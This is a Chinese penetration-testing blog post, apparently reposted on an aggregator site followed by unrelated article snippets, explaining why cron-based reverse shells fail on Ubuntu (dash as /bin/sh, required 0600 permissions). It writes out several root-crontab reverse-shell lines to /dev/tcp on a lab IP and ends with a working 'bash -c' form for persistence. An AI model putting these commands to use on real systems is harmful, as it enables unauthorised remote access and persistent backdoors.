Ubuntu下反弹shell的思考

目录

Ubuntu的命令执行环境

bash (Bourne Again SHell):

sh (Bourne SHell):

dash (Debian Almquist SHell):

它们之间的关系:

可能遇到的问题

一、脚本权限问题

二、命令执行环境(shell解释器)问题

如何解决?

1.修改/bin/sh软连接的指向为bash

2.编写shell脚本文件并执行

3.bash -c参数指定shell解释器


相信各位师傅在平时渗透过程中会遇到ubuntu任务计划反弹shell失败的情况,本文就这一问题浅析一下

Ubuntu的命令执行环境

在分析问题之前,我们先来讨论一下ubuntu中的bash、sh和dash的关系

这是chatgpt-4o的回答:

在Ubuntu系统中,bashshdash都是常见的Shell解释器,它们之间有一些区别和联系:

  1. bash (Bourne Again SHell):

    • bash是GNU项目的一个Unix shell,它是sh(Bourne shell)的替代品。
    • bash兼容sh,并且提供了许多增强功能,例如更丰富的编程结构、更强大的命令行编辑和历史记录功能。
    • 默认情况下,Ubuntu系统中的终端会话使用的是bash
  2. sh (Bourne SHell):

    • sh是最初由Stephen Bourne在1977年开发的Unix shell。
    • sh语法较为简单,但功能有限。
    • 在现代Linux系统中,sh通常是指向另一个shell的符号链接。在Ubuntu中,这个符号链接通常指向dash
  3. dash (Debian Almquist SHell):

    • dash是一个POSIX兼容的Shell,旨在比bash更轻量级和更快速。
    • dashash(Almquist Shell)的一个变种。
    • 在Ubuntu中,默认的/bin/sh是指向dash的符号链接。这是为了提高系统启动和脚本执行的速度。
    • 尽管dash在性能上有优势,但它不支持bash的一些特性,因此某些脚本可能无法在dash中正确运行。

它们之间的关系:

  • sh通常是指向dash的符号链接(在Ubuntu系统中)。
  • dash是一个轻量级、快速的POSIX兼容Shell,被用作系统默认的/bin/sh
  • bashsh的增强版本,提供了更多功能,并且是用户默认的交互式Shell。

总结来说,Ubuntu选择使用dash作为系统默认的sh来加快启动速度,而用户交互式Shell仍然使用功能更强大的bash

也就是说,之所以使用crontab反弹不了shell,就是因为crontab使用的是系统的默认执行环境dash(centos中是bash),找不到/bin/bash环境

但是用户交互式的shell还是使用的是bash,这就是为什么有些师傅直接输入反弹shell的命令是可以成功反弹的,而同样的命令crontab却不行

接下来通过例子来分析反弹shell中可能遇到的问题

可能遇到的问题

我们先用下面的脚本来尝试反弹shell,写到/var/spool/cron/crontabs/root中

* * * * * 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'

攻击机监听,过了一分钟后发现并没有回弹 

一、脚本权限问题

查看syslog

tail /var/log/syslog

提示root脚本是一个不安全的模式,模式应该是0600

我们根据它的报错来修改权限,改为0600

然后等待1分钟,查看是否能回弹shell

二、命令执行环境(shell解释器)问题

发现仍然没有回弹,同样查看日志

可以看到crontab其实是执行了命令的,但是因为命令执行报错,系统想输出到邮件中,但没有安装邮件传输代理(MTA),因此cron任务的输出被丢弃

根据日志我们可以修改一下脚本,将 标准错误输出 输出到/tmp/error.txt文件中

* * * * * 'bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1

等待一分钟,查看/tmp/error.txt文件

可以看到错误提示 /bin/sh找不到bash命令

这就是我们前面讲到的ubuntu的默认shell解释器是sh,而sh是dash的一个软链接

dash找不到bash命令所以报错,但是ubuntu中没有bash环境吗?

很显然是有的,我们使用的用户交互shell就是bash环境

既然相对路径找不到,我们可以用绝对路径/bin/bash,不就可以找到了吗?

修改脚本

* * * * * '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1

等待一分钟后发现依然不能反弹,查看错误信息

仍然显示找不到命令

这里的错误原因其实和上面一样,这不是路径的问题,而是默认的shell解释器根本就不是bash,如果是默认是bash,可能会存在这样的路径问题

如何解决?

1.修改/bin/sh软连接的指向为bash

(此方法是其他博客写的,尝试了很久不成功)

ln -s -f bash /bin/sh

这种方法可以将默认shell解释器修改为bash

理论上是可以成功反弹的,但是我尝试了很多遍依旧失败,依旧显示命令找不到

2.编写shell脚本文件并执行

我们可以避免在crontab中直接执行命令,可以先编写一个反弹shell的脚本,然后在计划任务中执行脚本,避免直接在计划任务中执行,这样就不会使用默认的sh环境了

记得chmod加上执行权限

chmod +x /tmp/1.sh

成功反弹

3.bash -c参数指定shell解释器

这个方法是我比较推荐的方式,不需要多余的操作,可以直接在计划任务中执行,只需加上bash -c参数指定shell解释器即可

* * * * * bash -c '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1'

bash -c 表示使用bash作为shell解释器,然后-c选项表示后面跟随的是要执行的命令字符串

注意:计划任务的执行文件仍需要0600的权限,不然也反弹不了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/765639.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么美业门店管理系统好用?2024美业收银系统软件排名分享

美业SAAS系统在美容、美发、美甲等行业中十分重要,这种系统为美业提供了一种数字化解决方案,帮助企业更高效地管理业务和客户关系。 美业门店管理系统通常提供预约管理、客户管理、库存管理、报表生成等一系列功能,以满足美容院、美发沙龙等…

iptables防火墙详解、相关命令示例

目录 Linux包过滤防火墙 包过滤的工作层次 iptables的链结构 规则链 默认包括5中规则链(对数据包控制的时机) iptables的表结构 规则表 默认包括4个规则表 数据包过滤的匹配流程 规则表之间的顺序 规则链之间的顺序 规则链内的匹配顺序 匹配…

【Arduino】XIAOFEIYU实验ESP32使用TOUCH触摸模块(图文)

今天XIAOFEIYU继续来实验ESP32使用传感器模块,这次用到的模块为TOUCH触摸模块。 三个针脚分别为正负极,IO针脚。 #define pin 25void setup(){Serial.begin(9600); pinMode(pin, INPUT); }float value 0.0; void loop(){value digitalRead(pin); …

Vue3详解

vite和webpack区别 vite vite使用原生ES模块进行开发,无需在编译时将所有代码转换为JS打包,从而提供了更快的热更新和自动刷新功能; vite在开发模式下没有打包步骤,而是利用浏览器的ES Module Imports特性实现按需编译&#xff…

提高候选人的招聘感受:成功的策略

大约78%的候选人表示,他们的整体应聘体验表明企业对员工的关注。然而,超过一半的候选人透露,他们在招聘过程中有过负面的候选人经历,80%的候选人在经历了令人失望的招聘过程后会公开与他人分享他们的不良经历。 但也有一线希望&am…

友好前端vue脚手架

企业级后台集成方案vue-element-admin-CSDN博客在哔站学习,老师说可以有直接的脚手架(vue-element-admin)立马去搜索,找到了这博主这篇文章 介绍 | vue-element-admin​​​​​​ 官方默认英文版: git clone https:/…

【力扣 - 每日一题】3115. 质数的最大距离(一次遍历、头尾遍历、空间换时间、埃式筛、欧拉筛、打表)Golang实现

原题链接 题目描述 给你一个整数数组 nums。 返回两个(不一定不同的)质数在 nums 中 下标 的 最大距离。 示例 1: 输入: nums [4,2,9,5,3] 输出: 3 解释: nums[1]、nums[3] 和 nums[4] 是质数。因此答…

力扣每日一题 7/2 数学、数论、数组/双指针

博客主页:誓则盟约系列专栏:IT竞赛 专栏关注博主,后期持续更新系列文章如果有错误感谢请大家批评指出,及时修改感谢大家点赞👍收藏⭐评论✍ 3115.质数的最大距离【中等】 题目: 给你一个整数数组 nums。…

uview文本框组件计数count报错u--textarea

报错内容: [Vue warn]: Error in render: “TypeError: Cannot read property ‘length’ of null” found in —> at uni_modules/uview-ui/components/u-textarea/u-textarea.vue at uni_modules/uview-ui/components/u–textarea/u–textarea.vue mp.runtime.…

C盘清理和管理

本篇是C盘一些常用的管理方法,以及定期清理C盘的方法,大部分情况下都能避免C盘爆红。 C盘清理和管理 C盘存储管理查看存储情况清理存储存储感知清理临时文件清理不需要的 迁移存储 磁盘清理桌面存储管理应用存储管理浏览器微信 工具清理 C盘存储管理 查…

ERROR: No matching distribution found for torch==2.0.1+cu117(比手动下载方便)

ERROR: No matching distribution found for torch2.0.1cu117 遇见这种报错可以把pip install -r requirements.txt修改为 pip install -r requirements.tx --extra-index-url https://download.pytorch.org/whl/cu117 -i https://pypi.tuna.tsinghua.edu.cn/simple或者直接…

大科技公司大量裁员背后的真相

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

网络配线架的隐藏功能

网络布线是确保现代信息社会高效运转的关键技术之一。在这一领域,网络配线架扮演着至关重要 的角色。它不仅仅是一个简单的物理连接点,更拥有许多隐藏功能,这些功能极大地提升了网络的 效率、稳定性和可管理性。 1、集中管理 网络配线架提…

VS2022+Qt+OpenCV Debug模式下,循环中格式转换引起的内存异常问题 debug_heap.cpp

文章目录 前言一、问题二、报错1.提示图片2.提示堆栈3.反汇编位置 三、解决办法总结 前言 最近在使用VS2022,C,OpenCV,Qt开发时,遇到了一个疑难杂症-在循环中执行字符串格式转换会触发内存异常,经过痛苦的排查过程&am…

24/07/02数据结构(1.1201)算法效率顺序表

数据结构基本内容:1.时间复杂度 空间复杂度2.顺序表链表3.栈 队列4.二叉树5.排序 数据结构是存储,组织数据的方式.指相互之间存在一种或多种特定关系的数据元素的集合 算法是定义良好的计算过程.取一个或一组值为输入并产生一个或一组值为输出. 需要知道虽然选择题有20-30个…

MyBatis-plus这么好用,不允许还有人不会

你好呀,我是 javapub. 做 Java 的同学都会用到的三件套,Spring、SpringMV、MyBatis。但是由于使用起来配置较多,依赖冲突频发。所有,各路大佬又在这上边做了包装,像我们常用的 SpringBoot、MyBatisPlus。 基于当前要…

[Python学习篇] Python函数

定义函数 语法:使用关键字 def def 函数名(参数): 代码1 代码2 ...... 调用函数 语法: 函数名(参数) 注意:不同的需求,参数可有可无。在Python中,函数必须先定义后使用 示例: # 定义函数 d…

WPDRRC信息安全体系架构模型

构建信息安全保障体系框架应包括技术体系、组织机构体系和管理体系等三部分,也就是说:人、管理和技术手段是信息安全架构设计的三大要素,而构成动态的信息与网络安全保障体系框架是实现系统的安全保障。 1.WPDRRC信息安全模型的定义 WPDRRC…

书城在线系统:基于Java和SSM框架的高效信息管理平台

开头语:你好呀,我是计算机学长猫哥!如果有相关需求,文末可以找到我的联系方式。 开发语言:Java 数据库:MySQL 技术:SSM框架(Spring, Spring MVC, Mybatis) 工具&…

【面试系列】AI研究员高频面试题及详细解答

欢迎来到我的博客,很高兴能够在这里和您见面!欢迎订阅相关专栏: ⭐️ 全网最全IT互联网公司面试宝典:收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来:详细讲解AIGC的概念、核心技术、…